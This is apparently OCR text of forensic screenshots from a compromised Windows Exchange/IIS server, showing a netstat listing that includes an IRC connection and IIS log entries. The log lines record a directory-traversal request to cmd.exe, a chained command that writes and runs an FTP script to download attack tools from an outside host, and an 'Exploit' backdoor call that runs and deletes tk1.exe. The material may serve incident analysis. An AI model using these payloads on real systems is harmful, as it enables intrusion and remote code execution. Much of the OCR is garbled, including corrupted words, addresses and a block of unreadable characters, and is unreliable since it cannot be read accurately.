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220-Uptinet 3 davys 8 hours 48 mins
220-Total Space: 596,39 MB on C
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"% C:AWINNTAS pstem32\cmd_exe

Microsoft (R Windows NICTHD
(C» Copyright 1985-1996 Microcoft Corp.

Cov>netgtat
Active Connections

Proto Local Address Foreign Address State

TGP exchange inhsession mail technology.com=1843 ESTABLISHED

ICP exchange nhsession DESHK=1161 EETABL

TCP exchange :nhsession DESK:-1299% ESTABL

ICP exchange nhsession FROMT =1828 EETABL

TCP exchange :nhsession OFFICE:1626 ESTABL

ICP exchangenhsession =18L1 EETABLI

TCP exchange 1832 e e.n t.edu.tw:88 ESTABL )]

ICP exchange=1167 mail technology.com=135% TIME_MAII

TCP exchange:124% ire .dcqg.aol_com:6667 ESTABLISHED

TCP exchange=1257 hah -2y mz.c s.netibhb66? ESTABLISHED

TCP exchange z134% 21 9- 11 _jax.f _com:88 ESTABLISHED
exchange:1518 W ne L. edushbb6Y ESTABLISHED

P Jaib
o3k G gnagpw (s9) p NetStat b5l a5

Caeadd |y SR 89,9 (SH95 (15500 aaaia L S 59 peu (g 0 0 9lS 4 £ 9 et Cislgn o
oS o | el ja ) (A8 9 098 £ g sa e s LOg L pua Lyl

209.115.xxx.xxx, -, 10/31/02, 16:01:11, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc]
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859, 156, 331, 200, 0, GET, /scripts/..%5c..%5cwinnt/system32/cmd.exe, [ccc]
/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\script.exe,

209.115.xxx.xxx, -, 10/31/02, 16:02:44, W3SVC, EXCHANGE, 64.3.xxx.xxXx, [ccc]

83250, 270, 148, 200, 0, GET, /scripts/script.exe, [ccc]
/c+echo+open+209.184.00¢.xxx>tmp2&&echo+anonymous>>tmp2&&echo+a@a.com>
>[cccltmp2&&echo+get+httpodbe.dil>>tmp2&&echo+get+tkl.exe>>tmp2&&echo+bye
>>[cccltmp2&&echo+ftp+-s:tmp2>>tmp2.cmd&&echo+exit>>tmp2.cmd&&tmp2.cmd,

209.115.xxx.xxx, -, 10/31/02, 16:06:11, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc]

703, 170, 572, 200, 0, GET, /scripts/httpodbc.dll, [ccc]
MfcISAPICommand=Exploit&cmd=c%3A%5Cwinnt%5Csystem32%5Ccmd.exe+%][ccc]
2Fc+c%3A%5Cinetpub®5Cscripts%5Ctk1.exe,

209.115.xxx.xxx, -, 10/31/02, 16:06:26, W3SVC, EXCHANGE, 64.3.xxx.xxx, [ccc]

828, 174, 576, 200, 0, GET, /scripts/httpodbc.dll, [ccc]
MfcISAPICommand=Exploit&cmd=c%3A%5Cwinnt%5Csystem32%5Ccmd.exe+%][ccc]
2Fc+del+c%3A%5Cinetpub®5Cscripts%5Ctk1.exe,
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